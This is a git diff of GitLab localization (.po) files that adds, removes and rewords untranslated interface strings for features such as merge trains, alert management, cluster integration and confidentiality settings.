msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/id_ID/gitlab.po b/locale/id_ID/gitlab.po
index 42113487edd..0b74ca0ab39 100644
--- a/locale/id_ID/gitlab.po
+++ b/locale/id_ID/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: id\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:38\n"
+"PO-Revision-Date: 2020-09-04 23:02\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -54,13 +54,13 @@ msgstr[0] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -69,6 +69,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -251,6 +254,9 @@ msgstr[0] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -287,6 +293,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -339,6 +348,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -366,7 +378,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -453,9 +465,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -474,6 +483,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -483,6 +495,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -590,6 +614,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -613,6 +640,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -628,6 +658,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -696,6 +729,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -729,6 +765,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -738,7 +777,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -781,6 +835,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -961,15 +1018,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1033,7 +1081,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1051,6 +1099,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1153,6 +1204,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1264,6 +1318,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1295,12 +1352,6 @@ msgstr[0] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1415,6 +1466,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1427,6 +1481,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1439,6 +1496,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1718,6 +1778,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1733,6 +1796,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -1959,6 +2025,9 @@ msgstr[0] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -1989,7 +2058,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2046,9 +2115,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2061,6 +2127,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2103,16 +2172,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2142,7 +2208,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2241,6 +2307,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2388,6 +2457,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2454,6 +2526,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2526,9 +2601,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2670,13 +2754,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2703,12 +2790,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2787,6 +2880,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -2998,6 +3094,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3010,6 +3109,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3025,9 +3127,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3136,7 +3235,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3148,9 +3247,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3163,6 +3259,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3420,7 +3519,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3498,6 +3597,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3624,7 +3726,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3738,6 +3840,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3807,13 +3912,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4008,6 +4116,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4182,6 +4293,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4215,10 +4329,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4239,7 +4353,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4425,9 +4539,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4653,7 +4764,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4821,9 +4932,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -4929,6 +5046,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -4962,19 +5082,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5022,13 +5148,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5046,6 +5175,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5085,15 +5217,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5118,6 +5247,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5301,9 +5433,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5499,7 +5628,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5718,12 +5847,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
